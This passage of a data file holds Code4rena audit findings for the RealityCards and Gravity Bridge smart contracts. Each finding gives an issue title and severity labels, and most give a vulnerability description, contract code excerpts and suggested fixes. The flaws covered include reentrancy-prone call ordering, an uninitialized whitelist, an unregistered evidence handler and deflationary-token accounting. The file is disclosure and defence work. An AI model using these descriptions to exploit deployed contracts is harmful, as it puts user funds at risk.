edgecase that the processing might just be finished at the same time as _loopCounter == maxDeletions. You can see this the best if you assume maxDeletions==1, in that case it will never draw the conclusion it is finished. Of course having maxDeletions==1 is very unlikely in practice. ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCOrderbook.sol#L549 function findNewOwner(uint256 _card, uint256 _timeOwnershipChanged) external override onlyMarkets { ... // delete current owner do { _newPrice = _removeBidFromOrderbookIgnoreOwner( _head.next, _market, _card ); _loopCounter++; // delete next bid if foreclosed } while ( treasury.foreclosureTimeUser( _head.next, _newPrice, _timeOwnershipChanged ) < minimumTimeToOwnTo && _loopCounter < maxDeletions ); if (_loopCounter != maxDeletions) { // the old owner is dead, long live the new owner _newOwner = .... ... } else { // we hit the limit, save the old owner, we'll try again next time ... } } ## Tools Used ## Recommended Mitigation Steps Use a different way to determine that the processing is done. This could save some gas. Note: the additional check also costs gas, so you have the verify the end result. Perhaps in setDeletionLimit doublecheck that _deletionLimit > 1. "}, {"title": "Divide Before Multiply", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/25", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Divide Before Multiply"}, {"title": "Return Value is Not Validated", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/24", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `circuitBreaker()` function in `RCMarket.sol` is utilised in the event an oracle never provides a response to a RealityCards question. The function makes an external call to the `RCOrderbook.sol` contract through the `closeMarket()` function. If for some reason the orderbook was unable to be closed, this would never be checked in the `circuitBreaker()` function. ## Proof of Concept https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L1215-L1223 ## Tools Used Manual code review ## Recommended Mitigation Steps Ensure this is intended behaviour, or otherwise validate the response of `orderbook.closeMarket()`. Another option would be to emit the result of the external call in the `LogStateChange` event, alongside the state change. "}, {"title": "External Call Made Before State Change", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle leastwood # Vulnerability details ## Impact There are a number of functions in `RCTreasury.sol` which make external calls to another contract before updating the underlying market balances. More specifically, these affected functions are `deposit()`, `sponsor()`, and `topupMarketBalance()`. As a result, these functions would be prone to reentrancy exploits. However, as `safeTransferFrom()` operates on a trusted ERC20 token (RealityCard's token), this issue is of low severity. ## Proof of Concept https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCTreasury.sol#L385-L391 https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCTreasury.sol#L561-L563 https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCTreasury.sol#L459-L461 ## Tools Used Manual code review ## Recommended Mitigation Steps Modify the aforementioned functions such that all state changes are made before a call to the ERC20 token using the `safeTransferFrom()` function. "}, {"title": "msgSender() or _msgSender()", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/22", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The code has two implementations of msgSender: - msgSender() => uses meta transaction signer - _msgSender() => maps to msg.sender _msgSender() is used in a few locations - when using _setupRole, this seems legitimate - in function withdraw (whereas the similar function withdrawWithMetadata uses msgSender() ) It is confusing to have multiple functions with almost the same name, this could easily lead to mistakes. ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/lib/NativeMetaTransaction.sol#L105 function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } } else { sender = payable(msg.sender); } return sender; } // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol function _msgSender() internal view virtual returns (address) { return msg.sender; } //https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/nfthubs/RCNftHubL2.sol#L164 function withdraw(uint256 tokenId) external override { require( _msgSender() == ownerOf(tokenId), \"ChildMintableERC721: INVALID_TOKEN_OWNER\" ); // _msgSender() withdrawnTokens[tokenId] = true; _burn(tokenId); } function withdrawWithMetadata(uint256 tokenId) external override { require( msgSender() == ownerOf(tokenId), \"ChildMintableERC721: INVALID_TOKEN_OWNER\" ); // msgSender() withdrawnTokens[tokenId] = true; // Encoding metadata associated with tokenId & emitting event emit TransferWithMetadata( ownerOf(tokenId), address(0), tokenId, this.encodeTokenMetadata(tokenId) ); _burn(tokenId); } RCNftHubL1.sol: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); RCNftHubL2.sol: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); RCTreasury.sol: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); RCTreasury.sol: _setupRole(UBER_OWNER, _msgSender()); RCTreasury.sol: _setupRole(OWNER, _msgSender()); RCTreasury.sol: _setupRole(GOVERNOR, _msgSender()); RCTreasury.sol: _setupRole(WHITELIST, _msgSender()); ## Tools Used grep ## Recommended Mitigation Steps Doublecheck the use of _msgSender() in withdraw and adjust if necessary. Add comments when using _msgSender() Consider overriding _msgSender(), as is done in the example below: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/metatx/ERC2771Context.sol "}, {"title": "rentAllCards: don't have to pay for card you already own", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/21", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function rentAllCards of RCMarket checks for _maxSumOfPrices to see you are not paying more that you want. However the first part of the calculations (which calculate _actualSumOfPrices ), do not take in account the fact that you might already own a card. (while the second part of the code does). If you already own the card you don't have to pay for it and you certainly don't have to pay the extra minimumPriceIncreasePercent. The code at \"Proof of Concept\" shows a refactored version of the code (see other issue \"make code of rentAllCards easier to read\"). This immediately shows the issue. ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L691 ==> simplified version function calc(uint256 currentPrice) returns(uint256) { if (currentPrice == 0) return MIN_RENTAL_VALUE; return (currentPrice *(minimumPriceIncreasePercent + 100)) / 100; } function rentAllCards(uint256 _maxSumOfPrices) external override { .. uint256 _actualSumOfPrices = 0; for (uint256 i = 0; i < numberOfCards; i++) { _actualSumOfPrices += calc(card[i].cardPrice); // no check for (ownerOf(i) != msgSender()) { } require(_actualSumOfPrices <= _maxSumOfPrices, \"Prices too high\"); for (uint256 i = 0; i < numberOfCards; i++) { if (ownerOf(i) != msgSender()) { uint256 _newPrice=calc(card[i].cardPrice); newRental(_newPrice, 0, address(0), i); } } } ## Tools Used ## Recommended Mitigation Steps Add \"if (ownerOf(i) != msgSender()) {\" also in the first part of the code of rentAllCards uint256 _actualSumOfPrices = 0; for (uint256 i = 0; i < numberOfCards; i++) { if (ownerOf(i) != msgSender()) { // extra if statement _actualSumOfPrices += calc(card[i].cardPrice); } } "}, {"title": "make code of rentAllCards easier to read and maintain", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function rentAllCards or RCMarket contains a similar piece of code twice (mainly the formula: (card[i].cardPrice * (minimumPriceIncreasePercent + 100)) / 100; ) The current code is somewhat difficult to read and maintain and hides potential issue (also see other issue about rentAllCards) ## Proof of Concept //https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L691 function rentAllCards(uint256 _maxSumOfPrices) external override { _checkState(States.OPEN); // check that not being front run uint256 _actualSumOfPrices = 0; for (uint256 i = 0; i < numberOfCards; i++) { if (card[i].cardPrice == 0) { _actualSumOfPrices += MIN_RENTAL_VALUE; } else { _actualSumOfPrices += (card[i].cardPrice * (minimumPriceIncreasePercent + 100)) / 100; } } require(_actualSumOfPrices <= _maxSumOfPrices, \"Prices too high\"); for (uint256 i = 0; i < numberOfCards; i++) { if (ownerOf(i) != msgSender()) { uint256 _newPrice; if (card[i].cardPrice > 0) { _newPrice = (card[i].cardPrice * (minimumPriceIncreasePercent + 100)) / 100; } else { _newPrice = MIN_RENTAL_VALUE; } newRental(_newPrice, 0, address(0), i); } } } ## Tools Used ## Recommended Mitigation Steps Suggestion to make the code easier to read and maintain: function calc(uint256 currentPrice) returns(uint256) { if (currentPrice == 0) return MIN_RENTAL_VALUE; return (currentPrice *(minimumPriceIncreasePercent + 100)) / 100; } function rentAllCards(uint256 _maxSumOfPrices) external override { .. uint256 _actualSumOfPrices = 0; for (uint256 i = 0; i < numberOfCards; i++) { _actualSumOfPrices += calc(card[i].cardPrice); } ..... for (uint256 i = 0; i < numberOfCards; i++) { if (ownerOf(i) != msgSender()) { uint256 _newPrice=calc(card[i].cardPrice); newRental(_newPrice, 0, address(0), i); } } } "}, {"title": "optimize _beforeTokenTransfer", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "optimize _beforeTokenTransfer"}, {"title": "Uninitialized Variable `marketWhitelist` in `RCTreasury.sol`", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/18", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "Resolved", "disagree with severity"], "target": "2021-08-realitycards-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The variable, `marketWhitelist`, is never initialized in the contract `RCTreasury.sol`. As a result, the function `marketWhitelistCheck()` does not perform a proper check on whitelisted users for a restricted market. Additionally, the function will always return `true`, even if a market wishes to restrict its users to a specific role. ## Proof of Concept The initial state variable is defined in the link below. https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCTreasury.sol#L75 The state variable `marketWhitelist` is accessed in the function `RCTreasury.marketWhitelistCheck()` as per below. https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCTreasury.sol#L269-L281 The function `RCTreasury.marketWhitelistCheck()` is called in `RCMarket.newRental()` as seen below. The comment indicates that there should be some ability to restrict certain markets to specific whitelists, however, there are no methods in `RCTreasury` that allow a market creator to enable this functionality. https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L758-L761 ## Tools Used `npx hardhat coverage` `slither` Manual code review ## Recommended Mitigation Steps Ensure this behaviour is intended. If this is not the case, consider adding a function that enables a market creator to restrict their market to a specific role by whitelisting users. "}, {"title": "Overflow in `Mode` Type", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-08-realitycards-findings", "body": "Overflow in `Mode` Type"}, {"title": "Inaccurate Comment", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/16", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle leastwood # Vulnerability details ## Impact This issue has no direct security implications, however, there may be some confusion when understanding what the `RCFactory.createMarket()` function actually does. ## Proof of Concept https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCFactory.sol#L625 ## Tools Used Manual code review ## Recommended Mitigation Steps Update the line (linked above) to include the `SAFE_MODE` option outline in the `enum` type in `IRCMarket.sol`. For example, the line `/// @param _mode 0 = normal, 1 = winner takes all` could be updated to `/// @param _mode 0 = normal, 1 = winner takes all, 2 = SAFE_MODE` "}, {"title": "Test Coverage Improvements", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/15", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Test Coverage Improvements"}, {"title": "Can't retrieve all data with getMarketInfo ", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/14", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function getMarketInfo of RCFactory only can give results back in the range 0...marketInfoResults Supplying _skipResults doesn't help, it then just skips the first _skipResults records. Assume marketInfoResults == 10 and _skipResults == 20: Then no result will be given back because \"_resultNumber < marketInfoResults\" will never allow _resultNumber to be bigger than 10 Note: this is low risk because getMarketInfo is a backup function (although you maybe want the backup to function as expected) ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCFactory.sol#L227 function getMarketInfo( IRCMarket.Mode _mode, uint256 _state, uint256 _skipResults ) external view returns ( address[] memory, string[] memory, string[] memory, uint256[] memory ) { .. uint256 _resultNumber = 0; .. while (_resultNumber < marketInfoResults && _marketIndex > 1) { ... if (_resultNumber < _skipResults) { _resultNumber++; } else { _marketAddresses[_resultNumber] = _market; // will never reach this part if _skipResults >= marketInfoResults .... _resultNumber++; } } } return (_marketAddresses, _ipfsHashes, _slugs, _potSizes); } ## Tools Used ## Recommended Mitigation Steps Update the code to something like the following: uint idx; while (idx < marketInfoResults && _marketIndex > 1) { _marketIndex--; address _market = marketAddresses[_mode][_marketIndex]; if (IRCMarket(_market).state() == IRCMarket.States(_state)) { if (_resultNumber < _skipResults) { _resultNumber++; } else { _marketAddresses[idx] = _market; _ipfsHashes[idx] = ipfsHash[_market]; _slugs[idx] = addressToSlug[_market]; _potSizes[idx] = IRCMarket(_market).totalRentCollected(); idx++; } } } "}, {"title": "getMostRecentMarket can revert", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/13", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function getMostRecentMarket of RCFactory.sol will revert if no markets of the specific mode are created yet. ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCFactory.sol#L171 function getMostRecentMarket(IRCMarket.Mode _mode) external view override returns (address) { return marketAddresses[_mode][marketAddresses[_mode].length - (1)]; } ## Tools Used ## Recommended Mitigation Steps Change the function getMostRecentMarket to something like: function getMostRecentMarket(IRCMarket.Mode _mode) external view override returns (address) { if ( marketAddresses[_mode].length ==0) return address(0); return marketAddresses[_mode][marketAddresses[_mode].length - (1)]; } "}, {"title": "updateTokenURI doesn't call setTokenURI ", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/12", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function updateTokenURI of RCFactory.sol doesn't update the uris of RCNftHubL2. E.g. it doesn't call setTokenURI to try and update the already created NFT's. This way the URIs of already minted tokens are not updated. ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCFactory.sol#L453 function updateTokenURI( // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/nfthubs/RCNftHubL2.sol#L101 function setTokenURI(uint256 _tokenId, string calldata _tokenURI) external onlyUberOwner { _setTokenURI(_tokenId, _tokenURI); } ## Tools Used ## Recommended Mitigation Steps Also call setTokenURI of RCNftHubL2 Or restrict updateTokenURI to the phase where no NFT's are minted yet. Or at least add comments to updateTokenURI "}, {"title": "remove addMarket from RCNftHubL2", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The contract RCNftHubL2 contains a function addMarket and an array isMarket. This was useful in the previous version of the contract, but now it is no longer used. Note: isMarket() could be used to retrieve the markets from RCNftHubL2, but there are also other ways to do that. ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/nfthubs/RCNftHubL2.sol#L31 /// @dev so only markets can move NFTs mapping(address => bool) public isMarket; /// @dev so only markets can change ownership function addMarket(address _newMarket) external override { require(msgSender() == address(factory), \"Not factory\"); isMarket[_newMarket] = true; } // MARKET ONLY function transferNft( address _currentOwner, address _newOwner, uint256 _tokenId ) external override { require(marketTracker[_tokenId] == msgSender(), \"Not market\"); _transfer(_currentOwner, _newOwner, _tokenId); } //https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCFactory.sol#L636 function createMarket( ... nfthub.addMarket(_newAddress); ## Tools Used ## Recommended Mitigation Steps Double check if isMarket and addMarket have any use left. If not remove them from RCNftHubL2 Also remove the call to nfthub.addMarket(_newAddress) from RCFactory.sol "}, {"title": "remove unused modifiers", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Several modifiers are defined, but not used: - onlyTokenOwner in RCMarket.sol - onlyFactory in RCOrderbook.sol and RCLeaderboard.sol This clutters the code base ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L328 modifier onlyTokenOwner(uint256 _token) { ... //https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCOrderbook.sol#L104 modifier onlyFactory() { ... //https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCLeaderboard.sol#L61 modifier onlyFactory() { ... ## Tools Used ## Recommended Mitigation Steps Remove the unused modifiers "}, {"title": "tokenExists ==> cardExists", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "tokenExists ==> cardExists"}, {"title": "safer implementation of tokenExists", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/8", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function tokenExists does only limited checks on the existence of cards. It doesn't doublecheck that tokenIds[_card] != 0 This is relevant because 0 is the default value of empty array elements. Although this isn't a problem in the current code, future changes might accidentally introduce vulnerabilities. Also cards are only valid if they are below numberOfCards. This has led to vulnerabilities in previous versions of the contract (e.g. previous contest) ## Proof of Concept // https://github.com/code-423n4/2021-08-realitycards/blob/main/contracts/RCMarket.sol#L1139 function tokenExists(uint256 _card) internal view returns (bool) { return tokenIds[_card] != type(uint256).max; } ## Tools Used ## Recommended Mitigation Steps Change the function to something like the following: function tokenExists(uint256 _card) internal view returns (bool) { if (_cardId >= numberOfCards) return false; if (tokenIds[_card] == 0) return false; return tokenIds[_card] != type(uint256).max; } "}, {"title": "Allowance checks are not required", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "Allowance checks are not required"}, {"title": "RCMarket.sol - Gas optimization in _payoutWinnings", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "Resolved"], "target": "2021-08-realitycards-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact We can avoid 3 sload by storing `card[winningOutcome]` in a private variable. We can also avoid 4 sload by storing `msgSender()` in a private variable. We can also simplify the `_winningsToTransfer` calculation. ## Proof of Concept `card[winningOutcome]`: - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L564 - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L574 - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L585 - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L589 `msgSender()`: - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L564 - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L578 - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L585 - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L591 - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L592 `_winningsToTransfer`: - https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L587-L589 ## Tools Used Manual analysis ## Recommended Mitigation Steps `card[winningOutcome]`: ``` Card storage _cardWinningOutcome = card[winningOutcome]; ``` [L574](https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L574): `_cardWinningOutcome.rentCollectedPerCard) *` `msgSender()`: ``` address _msgSender = msgSender(); ``` [L578](https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L578): `(rentCollectedPerUserPerCard[_msgSender][winningOutcome] *` [L591 to L592](https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L591-L592): ``` _payout(_msgSender, _winningsToTransfer); emit LogWinningsPaid(_msgSender, _winningsToTransfer); ``` `card[winningOutcome]` and `msgSender()`: [L564](https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L564): `if (_cardWinningOutcome.longestOwner == _msgSender && winnerCut > 0) {` [L585](https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L585): `uint256 _winnersTimeHeld = _cardWinningOutcome.timeHeld[_msgSender];` `card[winningOutcome]` and `_winningsToTransfer`: [L587 to L589](https://github.com/code-423n4/2021-08-realitycards/blob/514a6157fb7bd0df1d27a4affece131ba5056818/contracts/RCMarket.sol#L587-L589): `_winningsToTransfer += (_numerator / _cardWinningOutcome.totalTimeHeld);` "}, {"title": "RCMarket.sol - Gas optimization in claimCard", "html_url": "https://github.com/code-423n4/2021-08-realitycards-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-realitycards-findings", "body": "RCMarket.sol - Gas optimization in claimCard"}, {"title": "Cannot actually submit evidence", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/64", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle jmak # Vulnerability details ## Impact Detailed description of the impact of this finding.\u2028The SubmitBadSignatureEvidence is not actually registered in the handler and hence no one can actually submit this message, rendering the message useless. This harms the security model of Gravity since validators have no disincentive to attempt to collude and take over the bridge. ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. The SubmitBadSignatureEvidence handler is omitted from module/x/gravity/handler.go ## Tools Used Visual inspection ## Recommended Mitigation Steps Handle the MsgSubmitBadSignatureEvidence in module/x/gravity/handler.go. "}, {"title": "Incorrect accounting on transfer-on-fee/deflationary tokens in `Gravity`", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/62", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle shw # Vulnerability details ## Impact The `sendToCosmos` function of `Gravity` transfers `_amount` of `_tokenContract` from the sender using the function `transferFrom`. If the transferred token is a transfer-on-fee/deflationary token, the actually received amount could be less than `_amount`. However, since `_amount` is passed as a parameter of the `SendToCosmosEvent` event, the Cosmos side will think more tokens are locked on the Ethereum side. ## Proof of Concept Referenced code: [Gravity.sol#L535](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L535) [Gravity.sol#L541](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L541) ## Recommended Mitigation Steps Consider getting the received amount by calculating the difference of token balance (using `balanceOf`) before and after the `transferFrom`. "}, {"title": "Direct usage of `ecrecover` allows signature malleability", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "Direct usage of `ecrecover` allows signature malleability"}, {"title": "SafeMath library is not always used in `Gravity`", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle shw # Vulnerability details ## Impact SafeMath library functions are not always used in the `Gravity` contract's arithmetic operations, which could cause integer underflow/overflows. Using SafeMath is considered a best practice that could completely prevent underflow/overflows and increase code consistency. ## Proof of Concept Referenced code: [Gravity.sol#L202](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L202) [Gravity.sol#L586](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L586) ## Recommended Mitigation Steps Consider using the SafeMath library functions in the referenced lines of code. "}, {"title": "Filter Logic calls to gravity cosmos at client level to avoid reverts", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Filter Logic calls to gravity cosmos at client level to avoid reverts"}, {"title": "Unhandled reverts from Cosmos to Eth batches can cause *Denial Of Service*", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/56", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Unhandled reverts from Cosmos to Eth batches can cause *Denial Of Service*"}, {"title": "Lack of Validation Check", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/55", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle defsec # Vulnerability details ## Impact During the manual code review, It has been observed that on the cosmos side Coin amount has not been checked on the token definition. That can use misfunctionality on the bridge. Although zero amount definition fee will be calculated. That can cause lose of user funds. ## Proof of Concept 1. Navigate to \"https://github.com/althea-net/cosmos-gravity-bridge/blob/main/module/x/gravity/types/ethereum.go\" Line #69. 2. On the following code, ValidateBasic function does not validate amount. ``` // ValidateBasic permforms stateless validation func (e *ERC20Token) ValidateBasic() error { if err := ValidateEthAddress(e.Contract); err != nil { return sdkerrors.Wrap(err, \"ethereum address\") } // TODO: Validate all the things return nil } ``` ## Tools Used ## Recommended Mitigation Steps Add the following validation steps on the ValidationBasic function. ``` if !m.Amount.IsValid() { return cosmos.ErrInvalidCoins(\"coins must be valid\") } if !m.Amount.IsAllPositive() { return cosmos.ErrInvalidCoins(\"coins must be positive\") } ``` "}, {"title": "Consider adding a token whitelist in `sendToCosmos` function", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Consider adding a token whitelist in `sendToCosmos` function"}, {"title": "Anyone can deploy ERC20 tokens", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-gravitybridge-findings", "body": "Anyone can deploy ERC20 tokens"}, {"title": "The function `updateValset` does not have enough sanity checks", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/51", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle hrkrshnn # Vulnerability details ## `updateValset` does not have enough sanity checks In [updateValset](https://github.com/althea-net/cosmos-gravity-bridge/blob/92d0e12cea813305e6472851beeb80bd2eaf858d/solidity/contracts/Gravity.sol#L224) function, the current set of validators adds a new set. It is missing the check that the combined power of all new validators is above the `state_powerThreshold`. If this is false, then the contract is effectively stuck. Consider adding an on-chain check for this. It is also worth adding a that the size of the new validator check is less than a certain number. Here is a rough calculation explaining how 10000 validators (an extreme example) is too much: 1. Let us say that the new set of validators have the property that at least, say, `N` validators are needed to get the total threshold above `state_powerThreshold`. 2. Since each validating signature requires a call to `ecrecover`, costing at least `3000` gas, the minimum gas needed for getting a proposal over `state_powerThreshold` would be `N * 3000` 3. `N * 3000` cannot be more than the `block.gaslimit` Currently, this puts `N` to be less than `10000` Another approach to solve the above potential problems is to do the updating as a two step process: 1. The current set of validators proposes a pending set of validators. 2. And the pending set of validators need to do the transition to become the new set of validators. Going through the same threshold checks. This guarantees that the new set of validators has enough power to pass threshold and doesn't have gas limit issues in doing so. "}, {"title": "Avoid long revert strings.", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-gravitybridge-findings", "body": "Avoid long revert strings."}, {"title": "State Variables that can be changed to `immutable`", "html_url": "https://github.com/code-423n4/2021-08-gravitybridge-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-08-gravitybridge-findings", "body": "# Handle hrkrshnn # Vulnerability details ## State Variables that can be changed to `immutable` [Solidity 